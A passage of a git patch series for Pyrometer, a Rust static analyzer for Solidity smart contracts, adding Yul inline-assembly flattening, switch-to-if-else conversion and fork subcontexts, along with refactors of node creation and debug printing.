self.apply_to_edges(parent, *loc, arena, &|analyzer, _arena, ctx, loc| { - // let res = ctx - // .kill(analyzer, loc, KilledKind::Revert) - // .into_expr_err(loc); - // let _ = analyzer.add_if_err(res); - // Ok(()) - // }); - // let _ = self.add_if_err(res); - // } - // } - // RevertNamedArgs(_loc, _maybe_err_path, _named_args) => { - // tracing::trace!("parsing named revert"); - // todo!("revert named args") - // } - // Emit(_loc, _emit_expr) => {} - // Try(_loc, _try_expr, _maybe_returns, _clauses) => {} - // Error(_loc) => {} - // } } } From 5a647e7fa5e1c15c6e6a9ed24fae174c61527d28 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Wed, 17 Jul 2024 16:29:33 -0700 Subject: [PATCH 13/52] some assembly --- crates/graph/src/nodes/concrete.rs | 2 +- crates/graph/src/nodes/context/underlying.rs | 39 ++- crates/graph/src/nodes/context/variables.rs | 21 +- crates/graph/src/nodes/msg.rs | 26 +- crates/graph/src/nodes/var_ty.rs | 16 +- crates/graph/src/var_type.rs | 20 +- crates/pyrometer/src/analyzer.rs | 2 +- crates/pyrometer/src/analyzer_backend.rs | 1 - crates/shared/src/flattened.rs | 84 ++++- crates/shared/src/flattened_yul.rs | 135 ++++++++ crates/shared/src/lib.rs | 2 + crates/solc-expressions/src/bin_op.rs | 6 +- .../src/context_builder/flattened.rs | 321 ++++++++++++++---- .../src/func_call/internal_call.rs | 5 +- .../solc-expressions/src/yul/yul_builder.rs | 4 +- 15 files changed, 552 insertions(+), 132 deletions(-) create mode 100644 crates/shared/src/flattened_yul.rs diff --git a/crates/graph/src/nodes/concrete.rs b/crates/graph/src/nodes/concrete.rs index 7006b569..f048c3f5 100644 --- a/crates/graph/src/nodes/concrete.rs +++ b/crates/graph/src/nodes/concrete.rs @@ -28,7 +28,7 @@ impl ConcreteNode { /// Creates a version of this concrete that is max size pub fn max_size(&self, analyzer: &mut impl AnalyzerBackend) -> Result { let c = self.underlying(analyzer)?.max_size(); - Ok(analyzer.add_node(Node::Concrete(c)).into()) + Ok(analyzer.add_node(c).into()) } /// Gets the internal type of the dynamic that backs this. Panics if this is not a dynamic concrete diff --git a/crates/graph/src/nodes/context/underlying.rs b/crates/graph/src/nodes/context/underlying.rs index 86ca74c4..29ed063d 100644 --- a/crates/graph/src/nodes/context/underlying.rs +++ b/crates/graph/src/nodes/context/underlying.rs @@ -7,7 +7,7 @@ use crate::{ AnalyzerBackend, ContextEdge, Edge, Node, }; -use shared::GraphError; +use shared::{GraphError, NodeIdx}; use solang_parser::pt::Loc; use std::collections::BTreeSet; @@ -408,7 +408,11 @@ impl Context { ))); } - let parent_fn = subctx_kind.parent_ctx().associated_fn(analyzer)?; + let parent_fn = if let Some(cont) = subctx_kind.continuation_of() { + cont.associated_fn(analyzer)? + } else { + subctx_kind.parent_ctx().associated_fn(analyzer)? + }; let modifier_state = if let Some(mstate) = modifier_state { Some(mstate) @@ -466,6 +470,37 @@ impl Context { Ok(ctx_node) } + pub fn add_fork_subctxs( + analyzer: &mut impl AnalyzerBackend, + parent_ctx: ContextNode, + loc: Loc, + ) -> Result<(ContextNode, ContextNode), GraphError> { + let true_subctx_kind = SubContextKind::new_fork(parent_ctx, true); + let true_subctx = Context::add_subctx(true_subctx_kind, loc, analyzer, None)?; + + let false_subctx_kind = SubContextKind::new_fork(parent_ctx, false); + let false_subctx = Context::add_subctx(false_subctx_kind, loc, analyzer, None)?; + + parent_ctx.set_child_fork(true_subctx, false_subctx, analyzer)?; + let ctx_fork = analyzer.add_node(Node::ContextFork); + analyzer.add_edge( + ctx_fork, + parent_ctx, + Edge::Context(ContextEdge::ContextFork), + ); + analyzer.add_edge( + NodeIdx::from(true_subctx.0), + ctx_fork, + Edge::Context(ContextEdge::Subcontext), + ); + analyzer.add_edge( + NodeIdx::from(false_subctx.0), + ctx_fork, + Edge::Context(ContextEdge::Subcontext), + ); + Ok((true_subctx, false_subctx)) + } + pub fn new_loop_subctx( parent_ctx: ContextNode, loc: Loc, diff --git a/crates/graph/src/nodes/context/variables.rs b/crates/graph/src/nodes/context/variables.rs index b81b5a32..b515c24e 100644 --- a/crates/graph/src/nodes/context/variables.rs +++ b/crates/graph/src/nodes/context/variables.rs @@ -24,13 +24,22 @@ impl ContextNode { } /// Debug print the stack - pub fn debug_expr_stack(&self, analyzer: &impl GraphBackend) -> Result<(), GraphError> { + pub fn debug_expr_stack_str(&self, analyzer: &impl GraphBackend) -> Result { let underlying_mut = self.underlying(analyzer)?; - underlying_mut - .expr_ret_stack - .iter() - .enumerate() - .for_each(|(i, elem)| println!("{i}. {}", elem.debug_str(analyzer))); + Ok(format!( + "[\n\t{}\n]", + underlying_mut + .expr_ret_stack + .iter() + .enumerate() + .map(|(i, elem)| format!("{i}. {}", elem.debug_str(analyzer))) + .collect::>() + .join("\n\t") + )) + } + + pub fn debug_expr_stack(&self, analyzer: &impl GraphBackend) -> Result<(), GraphError> { + println!("{}", self.debug_expr_stack_str(analyzer)?); Ok(()) } diff --git a/crates/graph/src/nodes/msg.rs b/crates/graph/src/nodes/msg.rs index a142e54c..550279b4 100644 --- a/crates/graph/src/nodes/msg.rs +++ b/crates/graph/src/nodes/msg.rs @@ -72,7 +72,7 @@ impl Msg { "data" => { if let Some(d) = self.data.clone() { let c = Concrete::from(d); - (analyzer.add_node(Node::Concrete(c)), "msg.data".to_string()) + (analyzer.add_node(c), "msg.data".to_string()) } else { let b = Builtin::DynamicBytes; let node = analyzer.builtin_or_add(b); @@ -87,10 +87,7 @@ impl Msg { "sender" => { if let Some(d) = self.sender { let c = Concrete::from(d); - ( - analyzer.add_node(Node::Concrete(c)), - "msg.sender".to_string(), - ) + (analyzer.add_node(c), "msg.sender".to_string()) } else { let node = analyzer.builtin_or_add(Builtin::Address); let mut var = ContextVar::new_from_builtin(loc, node.into(), analyzer)?; @@ -104,7 +101,7 @@ impl Msg { "sig" => { if let Some(d) = self.sig { let c = Concrete::from(d); - (analyzer.add_node(Node::Concrete(c)), "msg.sig".to_string()) + (analyzer.add_node(c), "msg.sig".to_string()) } else { let node = analyzer.builtin_or_add(Builtin::Bytes(4)); let mut var = ContextVar::new_from_builtin(loc, node.into(), analyzer)?; @@ -118,10 +115,7 @@ impl Msg { "value" => { if let Some(d) = self.value { let c = Concrete::from(d); - ( - analyzer.add_node(Node::Concrete(c)), - "msg.value".to_string(), - ) + (analyzer.add_node(c), "msg.value".to_string()) } else { let node = analyzer.builtin_or_add(Builtin::Uint(256)); let mut var = ContextVar::new_from_builtin(loc, node.into(), analyzer)?; @@ -135,10 +129,7 @@ impl Msg { "origin" => { if let Some(d) = self.origin { let c = Concrete::from(d); - ( - analyzer.add_node(Node::Concrete(c)), - "tx.origin".to_string(), - ) + (analyzer.add_node(c), "tx.origin".to_string()) } else { let node = analyzer.builtin_or_add(Builtin::Address); let mut var = ContextVar::new_from_builtin(loc, node.into(), analyzer)?; @@ -152,10 +143,7 @@ impl Msg { "gasprice" => { if let Some(d) = self.gasprice { let c = Concrete::from(d); - ( - analyzer.add_node(Node::Concrete(c)), - "tx.gasprice".to_string(), - ) + (analyzer.add_node(c), "tx.gasprice".to_string()) } else { let node = analyzer.builtin_or_add(Builtin::Uint(64)); let mut var = ContextVar::new_from_builtin(loc, node.into(), analyzer)?; @@ -169,7 +157,7 @@ impl Msg { "gaslimit" => { if let Some(d) = self.gaslimit { let c = Concrete::from(d); - (analyzer.add_node(Node::Concrete(c)), "".to_string()) + (analyzer.add_node(c), "".to_string()) } else { let node = analyzer.builtin_or_add(Builtin::Uint(64)); let mut var = ContextVar::new_from_builtin(loc, node.into(), analyzer)?; diff --git a/crates/graph/src/nodes/var_ty.rs b/crates/graph/src/nodes/var_ty.rs index 42a4e948..3bd9c5ea 100644 --- a/crates/graph/src/nodes/var_ty.rs +++ b/crates/graph/src/nodes/var_ty.rs @@ -58,18 +58,14 @@ impl VarNode { self.underlying(analyzer)?.name.as_ref().unwrap().name ); let init = analyzer.parse_expr(arena, &expr, Some(parent)); + let underlying = self.underlying(analyzer)?; + let target_ty = VarType::try_from_idx(analyzer, underlying.ty).unwrap(); + let initer_ty = ContextVarNode::from(init).ty(analyzer)?.clone(); - let underlying = self.underlying(analyzer)?.clone(); let mut set = false; - if let Some(ty) = VarType::try_from_idx(analyzer, underlying.ty) { - if let Some(initer) = VarType::try_from_idx(analyzer, init) { - if let Some(initer) = initer.try_cast(&ty, analyzer)? { - if let Some(conc_idx) = initer.builtin_to_concrete_idx(analyzer, arena)? { - set = true; - self.underlying_mut(analyzer)?.initializer = Some(conc_idx); - } - } - } + if let Some(initer) = initer_ty.try_cast(&target_ty, analyzer)? { + set = true; + self.underlying_mut(analyzer)?.initializer = Some(initer.ty_idx()); } if !set { diff --git a/crates/graph/src/var_type.rs b/crates/graph/src/var_type.rs index 72ed4c8d..81d1be68 100644 --- a/crates/graph/src/var_type.rs +++ b/crates/graph/src/var_type.rs @@ -296,7 +296,7 @@ impl VarType { let c = from_c.underlying(analyzer)?.clone(); let b = to_bn.underlying(analyzer)?; if let Some(casted) = c.cast(b.clone()) { - let node = analyzer.add_node(Node::Concrete(casted)); + let node = analyzer.add_node(casted); Ok(Some(Self::Concrete(node.into()))) } else { Ok(None) @@ -306,7 +306,7 @@ impl VarType { let c = from_c.underlying(analyzer)?.clone(); let to_c = to_c.underlying(analyzer)?; if let Some(casted) = c.cast_from(to_c) { - let node = analyzer.add_node(Node::Concrete(casted)); + let node = analyzer.add_node(casted); Ok(Some(Self::Concrete(node.into()))) } else { Ok(None) @@ -334,7 +334,7 @@ impl VarType { let Some(conc) = min.val.cast(builtin.clone()) else { return Ok(None); }; - let conc_idx = analyzer.add_node(Node::Concrete(conc)); + let conc_idx = analyzer.add_node(conc); Ok(Some(conc_idx)) } else { Ok(None) @@ -380,7 +380,7 @@ impl VarType { let c = from_c.underlying(analyzer)?.clone(); let b = to_bn.underlying(analyzer)?; if let Some(casted) = c.literal_cast(b.clone()) { - let node = analyzer.add_node(Node::Concrete(casted)); + let node = analyzer.add_node(casted); Ok(Some(Self::Concrete(node.into()))) } else { Ok(None) @@ -390,7 +390,7 @@ impl VarType { let c = from_c.underlying(analyzer)?.clone(); let to_c = to_c.underlying(analyzer)?; if let Some(casted) = c.literal_cast_from(to_c) { - let node = analyzer.add_node(Node::Concrete(casted)); + let node = analyzer.add_node(casted); Ok(Some(Self::Concrete(node.into()))) } else { Ok(None) @@ -588,7 +588,7 @@ impl VarType { // let mut h = H256::default(); // h.0[0] = val.0[idx.low_u32() as usize]; // let ret_val = Concrete::Bytes(1, h); - // let node = analyzer.add_node(Node::Concrete(ret_val)); + // let node = analyzer.add_node(ret_val); // return Ok(Some(node)); // } // } @@ -616,7 +616,7 @@ impl VarType { // if let Some(idx) = val.0.node_idx() { // return Ok(idx.into()); // } else if let Some(c) = val.0.concrete() { - // let cnode = analyzer.add_node(Node::Concrete(c)); + // let cnode = analyzer.add_node(c); // return Ok(cnode.into()); // } // } @@ -640,7 +640,7 @@ impl VarType { // let mut h = H256::default(); // h.0[0] = val.0[idx.low_u32() as usize]; // let ret_val = Concrete::Bytes(1, h); - // let node = analyzer.add_node(Node::Concrete(ret_val)); + // let node = analyzer.add_node(ret_val); // return Ok(Some(node)); // } // } @@ -649,7 +649,7 @@ impl VarType { // let mut h = H256::default(); // h.0[0] = elems[idx.low_u32() as usize]; // let ret_val = Concrete::Bytes(1, h); - // let node = analyzer.add_node(Node::Concrete(ret_val)); + // let node = analyzer.add_node(ret_val); // return Ok(Some(node)); // } // } @@ -658,7 +658,7 @@ impl VarType { // let mut h = H256::default(); // h.0[0] = st.as_bytes()[idx.low_u32() as usize]; // let ret_val = Concrete::Bytes(1, h); - // let node = analyzer.add_node(Node::Concrete(ret_val)); + // let node = analyzer.add_node(ret_val); // return Ok(Some(node)); // } // } diff --git a/crates/pyrometer/src/analyzer.rs b/crates/pyrometer/src/analyzer.rs index 6e1b3e7f..dec1135f 100644 --- a/crates/pyrometer/src/analyzer.rs +++ b/crates/pyrometer/src/analyzer.rs @@ -364,7 +364,7 @@ impl Analyzer { expr: &Expression, parent: Option, ) -> Option { - tracing::trace!("Parsing required compile-time evaluation"); + tracing::trace!("Parsing required compile-time evaluation: {expr:?}, {parent:?}"); let ctx = if let Some(parent) = parent { let pf = Function { diff --git a/crates/pyrometer/src/analyzer_backend.rs b/crates/pyrometer/src/analyzer_backend.rs index abbe9e49..8cf7d4fe 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -561,7 +561,6 @@ impl AnalyzerLike for Analyzer { type ExprFlag = ExprFlag; fn push_expr(&mut self, flat: FlatExpr) { - tracing::trace!("pushing expression: {flat:?}"); self.flattened.push(flat); } diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 66c454e2..b36e39d9 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -1,5 +1,5 @@ -use crate::StorageLocation; -use solang_parser::pt::{Expression, Loc, NamedArgument, Type}; +use crate::{FlatYulExpr, StorageLocation}; +use solang_parser::pt::{Expression, Loc, NamedArgument, Type, YulExpression}; #[derive(Debug, Clone, Copy)] pub enum ExprFlag { @@ -35,7 +35,6 @@ pub enum FlatExpr { ArrayTy(Loc), ArrayIndexAccess(Loc), ArraySlice(Loc), - Parenthesis(Loc), MemberAccess(Loc, &'static str), FunctionCall(Loc, usize), FunctionCallBlock(Loc), @@ -105,9 +104,23 @@ pub enum FlatExpr { AddressLiteral(Loc, &'static str), Variable(Loc, &'static str), ArrayLiteral(Loc), + + YulExpr(FlatYulExpr), } impl FlatExpr { + pub fn try_inv_cmp(&self) -> Option { + use FlatExpr::*; + Some(match self { + Less(loc) => MoreEqual(*loc), + More(loc) => LessEqual(*loc), + LessEqual(loc) => More(*loc), + MoreEqual(loc) => Less(*loc), + Equal(loc) => NotEqual(*loc), + NotEqual(loc) => Equal(*loc), + _ => Not(self.try_loc()?), + }) + } pub fn try_loc(&self) -> Option { use FlatExpr::*; match self { @@ -123,7 +136,6 @@ impl FlatExpr { | ArrayTy(loc, ..) | ArrayIndexAccess(loc, ..) | ArraySlice(loc, ..) - | Parenthesis(loc, ..) | MemberAccess(loc, ..) | FunctionCall(loc, ..) | FunctionCallBlock(loc, ..) @@ -181,8 +193,15 @@ impl FlatExpr { | Variable(loc, ..) | Requirement(loc, ..) | Super(loc, ..) + | YulExpr(FlatYulExpr::YulVariable(loc, ..)) + | YulExpr(FlatYulExpr::YulFuncCall(loc, ..)) + | YulExpr(FlatYulExpr::YulSuffixAccess(loc, ..)) | ArrayLiteral(loc, ..) => Some(*loc), - FunctionCallName(..) => None, + + FunctionCallName(..) + | YulExpr(FlatYulExpr::YulStartBlock) + | YulExpr(FlatYulExpr::YulEndBlock) + | YulExpr(FlatYulExpr::YulFunctionCallName(..)) => None, } } } @@ -197,6 +216,37 @@ impl From<&NamedArgument> for FlatExpr { } } +impl TryFrom<&YulExpression> for FlatExpr { + type Error = (); + fn try_from(expr: &YulExpression) -> Result { + use YulExpression::*; + let res = match expr { + BoolLiteral(loc, b, _unimpled_type) => FlatExpr::BoolLiteral(*loc, *b), + NumberLiteral(loc, int, exp, _unimpled_type) => FlatExpr::NumberLiteral( + *loc, + Box::leak(int.clone().into_boxed_str()), + Box::leak(exp.clone().into_boxed_str()), + None, + ), + HexNumberLiteral(loc, b, _unimpled_type) => { + FlatExpr::HexNumberLiteral(*loc, Box::leak(b.clone().into_boxed_str()), None) + } + HexStringLiteral(hexes, _unimpled_type) => { + let final_str = hexes.hex.clone(); + let loc = hexes.loc; + FlatExpr::HexLiteral(loc, string_to_static(final_str)) + } + StringLiteral(lits, _unimpled_type) => { + let final_str = lits.string.clone(); + let loc = lits.loc; + FlatExpr::StringLiteral(loc, string_to_static(final_str)) + } + other => FlatExpr::YulExpr(FlatYulExpr::try_from(other)?), + }; + Ok(res) + } +} + impl TryFrom<&Expression> for FlatExpr { type Error = (); fn try_from(expr: &Expression) -> Result { @@ -208,7 +258,6 @@ impl TryFrom<&Expression> for FlatExpr { ArraySubscript(loc, _, None) => FlatExpr::ArrayTy(*loc), ArraySubscript(loc, _, Some(_)) => FlatExpr::ArrayIndexAccess(*loc), ArraySlice(loc, ..) => FlatExpr::ArraySlice(*loc), - Parenthesis(loc, ..) => FlatExpr::Parenthesis(*loc), MemberAccess(loc, _, name) => { FlatExpr::MemberAccess(*loc, string_to_static(name.name.clone())) } @@ -222,12 +271,8 @@ impl TryFrom<&Expression> for FlatExpr { PreIncrement(loc, ..) => FlatExpr::PreIncrement(*loc), PreDecrement(loc, ..) => FlatExpr::PreDecrement(*loc), UnaryPlus(loc, ..) => FlatExpr::UnaryPlus(*loc), - // Power(loc, ..) => FlatExpr::Power(*loc), - // Multiply(loc, ..) => FlatExpr::Multiply(*loc), - // Divide(loc, ..) => FlatExpr::Divide(*loc), - // Modulo(loc, ..) => FlatExpr::Modulo(*loc), - // Add(loc, ..) => FlatExpr::Add(*loc), - // Subtract(loc, ..) => FlatExpr::Subtract(*loc), + Parenthesis(_, expr) => FlatExpr::try_from(&**expr)?, + Modulo(loc, _, _) => FlatExpr::Modulo(*loc), ShiftLeft(loc, ..) => FlatExpr::ShiftLeft(*loc), ShiftRight(loc, ..) => FlatExpr::ShiftRight(*loc), BitwiseAnd(loc, ..) => FlatExpr::BitwiseAnd(*loc), @@ -249,10 +294,6 @@ impl TryFrom<&Expression> for FlatExpr { AssignXor(loc, ..) => FlatExpr::AssignXor(*loc), AssignShiftLeft(loc, ..) => FlatExpr::AssignShiftLeft(*loc), AssignShiftRight(loc, ..) => FlatExpr::AssignShiftRight(*loc), - // AssignAdd(loc, ..) => FlatExpr::AssignAdd(*loc), - // AssignSubtract(loc, ..) => FlatExpr::AssignSubtract(*loc), - // AssignMultiply(loc, ..) => FlatExpr::AssignMultiply(*loc), - // AssignDivide(loc, ..) => FlatExpr::AssignDivide(*loc), AssignModulo(loc, ..) => FlatExpr::AssignModulo(*loc), Type(loc, ty) => { let ty_box = Box::new(ty.clone()); @@ -335,7 +376,16 @@ impl TryFrom<&Expression> for FlatExpr { } List(loc, params) => FlatExpr::List(*loc, params.len()), This(loc, ..) => FlatExpr::This(*loc), - _ => return Err(()), + + Power(_, _, _) + | Multiply(_, _, _) + | Divide(_, _, _) + | Add(_, _, _) + | Subtract(_, _, _) + | AssignAdd(_, _, _) + | AssignSubtract(_, _, _) + | AssignMultiply(_, _, _) + | AssignDivide(_, _, _) => return Err(()), }; Ok(res) } diff --git a/crates/shared/src/flattened_yul.rs b/crates/shared/src/flattened_yul.rs new file mode 100644 index 00000000..e6d4b86b --- /dev/null +++ b/crates/shared/src/flattened_yul.rs @@ -0,0 +1,135 @@ +use crate::{string_to_static, ExprErr}; + +use solang_parser::pt::{ + Identifier, Loc, YulExpression, YulFunctionCall, YulStatement, YulSwitchOptions, +}; + +#[derive(Debug, Clone, Copy)] +pub enum FlatYulExpr { + YulStartBlock, + YulVariable(Loc, &'static str), + YulFunctionCallName(usize), + YulFuncCall(Loc, usize), + YulSuffixAccess(Loc, &'static str), + YulEndBlock, +} + +impl TryFrom<&YulExpression> for FlatYulExpr { + type Error = (); + fn try_from(expr: &YulExpression) -> Result { + use YulExpression::*; + let res = match expr { + Variable(ident) => { + FlatYulExpr::YulVariable(ident.loc, string_to_static(ident.name.clone())) + } + FunctionCall(yul_func_call) => { + FlatYulExpr::YulFuncCall(yul_func_call.loc, yul_func_call.arguments.len()) + } + SuffixAccess(loc, _, ident) => { + FlatYulExpr::YulSuffixAccess(*loc, string_to_static(ident.name.clone())) + } + _ => return Err(()), + }; + Ok(res) + } +} + +#[derive(Clone, Debug)] +/// A yul-based if-else chain, which represents a switch statement +pub struct IfElseChain { + pub if_expr: YulExpression, + pub true_stmt: YulStatement, + pub next: Option, +} + +#[derive(Clone, Debug)] +/// Wrapper over a switch statement that denotes either another else statement or the default case +pub enum ElseOrDefault { + Else(Box), + Default(YulStatement), +} + +impl From for ElseOrDefault { + fn from(iec: IfElseChain) -> Self { + Self::Else(Box::new(iec)) + } +} + +impl IfElseChain { + pub fn from_child(ed: ElseOrDefault) -> Option { + match ed { + ElseOrDefault::Else(iec) => Some(*iec), + _ => None, + } + } +} + +impl From for ElseOrDefault { + fn from(default: YulSwitchOptions) -> Self { + match default { + YulSwitchOptions::Default(_loc, block) => { + ElseOrDefault::Default(YulStatement::Block(block)) + } + _ => unreachable!("case as default"), + } + } +} + +pub type SwitchInfo = ( + YulExpression, + Vec, + Option, +); + +impl IfElseChain { + pub fn from(loc: Loc, (condition, cases, default): SwitchInfo) -> Result { + let mut child: Option = default.map(|default| default.into()); + + cases.into_iter().rev().for_each(|case| { + let mut chain_part: IfElseChain = From::from((condition.clone(), case)); + if let Some(c) = child.take() { + chain_part.next = c.into(); + } + child = Some(chain_part.into()); + }); + let Some(child) = child else { + return Err(ExprErr::NoRhs( + loc, + "No cases or default found for switch statement".to_string(), + )); + }; + + let Some(iec) = IfElseChain::from_child(child) else { + return Err(ExprErr::NoRhs( + loc, + "No cases or default found for switch statement".to_string(), + )); + }; + Ok(iec) + } +} + +impl From<(YulExpression, YulSwitchOptions)> for IfElseChain { + fn from((condition, case): (YulExpression, YulSwitchOptions)) -> Self { + match case { + YulSwitchOptions::Case(loc, expr, stmt) => { + let if_expr = YulExpression::FunctionCall(Box::new(YulFunctionCall { + loc, + id: Identifier { + loc, + name: "eq".to_string(), + }, + arguments: vec![condition, expr], + })); + IfElseChain { + if_expr, + true_stmt: YulStatement::Block(stmt), + next: None, + } + } + YulSwitchOptions::Default(_loc, _block) => { + unreachable!("We shouldn't have a `default` case in cases - only in the `default` input parameter") + } + } + } +} diff --git a/crates/shared/src/lib.rs b/crates/shared/src/lib.rs index b6abe097..967f75c9 100644 --- a/crates/shared/src/lib.rs +++ b/crates/shared/src/lib.rs @@ -1,6 +1,7 @@ mod analyzer_like; mod error; mod flattened; +mod flattened_yul; pub mod gas; mod graph_like; mod search; @@ -8,6 +9,7 @@ mod search; pub use analyzer_like::*; pub use error::*; pub use flattened::*; +pub use flattened_yul::*; pub use graph_like::*; pub use search::*; diff --git a/crates/solc-expressions/src/bin_op.rs b/crates/solc-expressions/src/bin_op.rs index f8632650..e4c5e357 100644 --- a/crates/solc-expressions/src/bin_op.rs +++ b/crates/solc-expressions/src/bin_op.rs @@ -315,7 +315,7 @@ pub trait BinOp: AnalyzerBackend + Sized { ctx.push_expr(lhs, analyzer).into_expr_err(loc)?; return Ok(()); } - analyzer.bit_not_inner(arena, ctx, loc, lhs.flatten()) + analyzer.bit_not_inner(arena, ctx, lhs.flatten(), loc) }) } @@ -324,8 +324,8 @@ pub trait BinOp: AnalyzerBackend + Sized { &mut self, arena: &mut RangeArena>, ctx: ContextNode, - loc: Loc, lhs_expr: ExprRet, + loc: Loc, ) -> Result<(), ExprErr> { match lhs_expr { ExprRet::CtxKilled(kind) => { @@ -339,7 +339,7 @@ pub trait BinOp: AnalyzerBackend + Sized { ContextVarNode::from(lhs) .try_increase_size(self, arena) .into_expr_err(loc)?; - self.bit_not_inner(arena, ctx, loc, ExprRet::Single(lhs))?; + self.bit_not_inner(arena, ctx, ExprRet::Single(lhs), loc)?; Ok(()) } ExprRet::Single(lhs) => { diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index d7ff1c57..4de9187d 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -15,10 +15,12 @@ use graph::{ }; use shared::{ - post_to_site, string_to_static, ExprErr, ExprFlag, FlatExpr, GraphError, GraphLike, - IntoExprErr, NodeIdx, RangeArena, USE_DEBUG_SITE, + post_to_site, string_to_static, ElseOrDefault, ExprErr, ExprFlag, FlatExpr, FlatYulExpr, + GraphError, GraphLike, IfElseChain, IntoExprErr, NodeIdx, RangeArena, USE_DEBUG_SITE, +}; +use solang_parser::pt::{ + CodeLocation, Expression, Identifier, Loc, Statement, YulExpression, YulStatement, }; -use solang_parser::pt::{CodeLocation, Expression, Identifier, Loc, Statement}; impl Flatten for T where T: AnalyzerBackend + Sized + ExprTyParser @@ -48,7 +50,6 @@ pub trait Flatten: { fn traverse_statement(&mut self, stmt: &Statement, unchecked: Option) { use Statement::*; - tracing::trace!("traverse statement: {stmt:#?}"); match stmt { Block { loc: _, @@ -94,9 +95,17 @@ pub trait Flatten: // based on their size let start_len = self.expr_stack_mut().len(); self.traverse_expression(if_expr, unchecked); + let cmp = self.expr_stack_mut().pop().unwrap(); + // have it be a require statement + self.push_expr(FlatExpr::Requirement(*loc)); + self.push_expr(cmp); let true_cond = self.expr_stack_mut().drain(start_len..).collect::>(); + + // the false condition is the same as the true, but with the comparator inverted let mut false_cond = true_cond.clone(); - false_cond.push(FlatExpr::Not(if_expr.loc())); + if let Some(last) = false_cond.pop() { + false_cond.push(last.try_inv_cmp().unwrap_or(FlatExpr::Not(*loc))); + } let true_cond_delta = true_cond.len(); let false_cond_delta = false_cond.len(); @@ -156,7 +165,7 @@ pub trait Flatten: dialect: _, flags: _, block: yul_block, - } => {} + } => self.traverse_yul_statement(&YulStatement::Block(yul_block.clone())), Return(loc, maybe_ret_expr) => { if let Some(ret_expr) = maybe_ret_expr { self.traverse_expression(ret_expr, unchecked); @@ -172,10 +181,153 @@ pub trait Flatten: } } + fn traverse_yul_statement(&mut self, stmt: &YulStatement) { + use YulStatement::*; + match stmt { + Assign(loc, lhs, rhs) => {} + VariableDeclaration(loc, idents, maybe_assignment) => {} + If(loc, if_expr, true_stmt) => { + let iec = IfElseChain { + if_expr: if_expr.clone(), + true_stmt: YulStatement::Block(true_stmt.clone()), + next: None, + }; + self.traverse_yul_if_else(*loc, iec); + } + For(yul_for) => {} + Switch(solang_parser::pt::YulSwitch { + loc, + condition, + cases, + default, + }) => { + if let Some(iec) = self.add_if_err(IfElseChain::from( + *loc, + (condition.clone(), cases.clone(), default.clone()), + )) { + self.traverse_yul_if_else(*loc, iec); + } + } + Leave(loc) => { + self.push_expr(FlatExpr::Break(*loc)); + } + Break(loc) => { + self.push_expr(FlatExpr::Break(*loc)); + } + Continue(loc) => { + self.push_expr(FlatExpr::Continue(*loc)); + } + Block(block) => { + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulStartBlock)); + for statement in block.statements.iter() { + self.traverse_yul_statement(&statement); + } + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulEndBlock)); + } + FunctionDefinition(def) => { + todo!() + } + FunctionCall(call) => { + self.traverse_yul_expression(&YulExpression::FunctionCall(call.clone())); + } + Error(loc) => {} + } + } + + fn traverse_yul_if_else(&mut self, loc: Loc, iec: IfElseChain) { + let true_body = &iec.true_stmt; + let start_len = self.expr_stack_mut().len(); + self.traverse_yul_expression(&iec.if_expr); + self.push_expr(FlatExpr::NumberLiteral(loc, "0", "", None)); + // have it be a require statement + self.push_expr(FlatExpr::Requirement(loc)); + self.push_expr(FlatExpr::More(loc)); + let true_cond = self.expr_stack_mut().drain(start_len..).collect::>(); + + // the false condition is the same as the true, but with the comparator inverted + let mut false_cond = true_cond.clone(); + if let Some(last) = false_cond.pop() { + false_cond.push(last.try_inv_cmp().unwrap_or(FlatExpr::Not(loc))); + } + + let true_cond_delta = true_cond.len(); + let false_cond_delta = false_cond.len(); + + self.traverse_yul_statement(true_body); + let true_body = self.expr_stack_mut().drain(start_len..).collect::>(); + let true_body_delta = true_body.len(); + + let (if_expr, false_body) = if let Some(next) = iec.next { + match next { + ElseOrDefault::Else(curr) => { + self.traverse_yul_if_else(loc, *curr); + } + ElseOrDefault::Default(false_body) => self.traverse_yul_statement(&false_body), + } + let false_body = self.expr_stack_mut().drain(start_len..).collect::>(); + let false_body_delta = false_body.len(); + ( + FlatExpr::If { + loc, + true_cond: true_cond_delta, + false_cond: false_cond_delta, + true_body: true_body_delta, + false_body: false_body_delta, + }, + false_body, + ) + } else { + ( + FlatExpr::If { + loc, + true_cond: true_cond_delta, + false_cond: false_cond_delta, + true_body: true_body_delta, + false_body: 0, + }, + vec![], + ) + }; + + self.push_expr(if_expr); + let stack = self.expr_stack_mut(); + stack.extend(true_cond); + stack.extend(false_cond); + stack.extend(true_body); + stack.extend(false_body); + } + + fn traverse_yul_expression(&mut self, expr: &YulExpression) { + use YulExpression::*; + match expr { + FunctionCall(func_call) => { + func_call.arguments.iter().rev().for_each(|expr| { + self.traverse_yul_expression(expr); + }); + + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulFunctionCallName( + func_call.arguments.len(), + ))); + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulVariable( + func_call.id.loc, + string_to_static(func_call.id.name.clone()), + ))); + + self.push_expr(FlatExpr::YulExpr(FlatYulExpr::YulFuncCall( + expr.loc(), + func_call.arguments.len(), + ))); + } + SuffixAccess(_, member, _) => { + self.traverse_yul_expression(member); + self.push_expr(FlatExpr::try_from(expr).unwrap()); + } + _ => self.push_expr(FlatExpr::try_from(expr).unwrap()), + } + } + fn traverse_expression(&mut self, parent_expr: &Expression, unchecked: Option) { use Expression::*; - - tracing::trace!("traverse expression: {parent_expr:#?}"); match parent_expr { // literals NumberLiteral(..) @@ -189,12 +341,17 @@ pub trait Flatten: self.push_expr(FlatExpr::try_from(parent_expr).unwrap()); } - Negate(_loc, expr) - | UnaryPlus(_loc, expr) + Negate(_loc, expr) => { + self.push_expr(FlatExpr::try_from(parent_expr).unwrap()); + self.traverse_expression(expr, unchecked); + } + + Parenthesis(_loc, expr) => self.traverse_expression(expr, unchecked), + + UnaryPlus(_loc, expr) | BitwiseNot(_loc, expr) | Not(_loc, expr) | Delete(_loc, expr) - 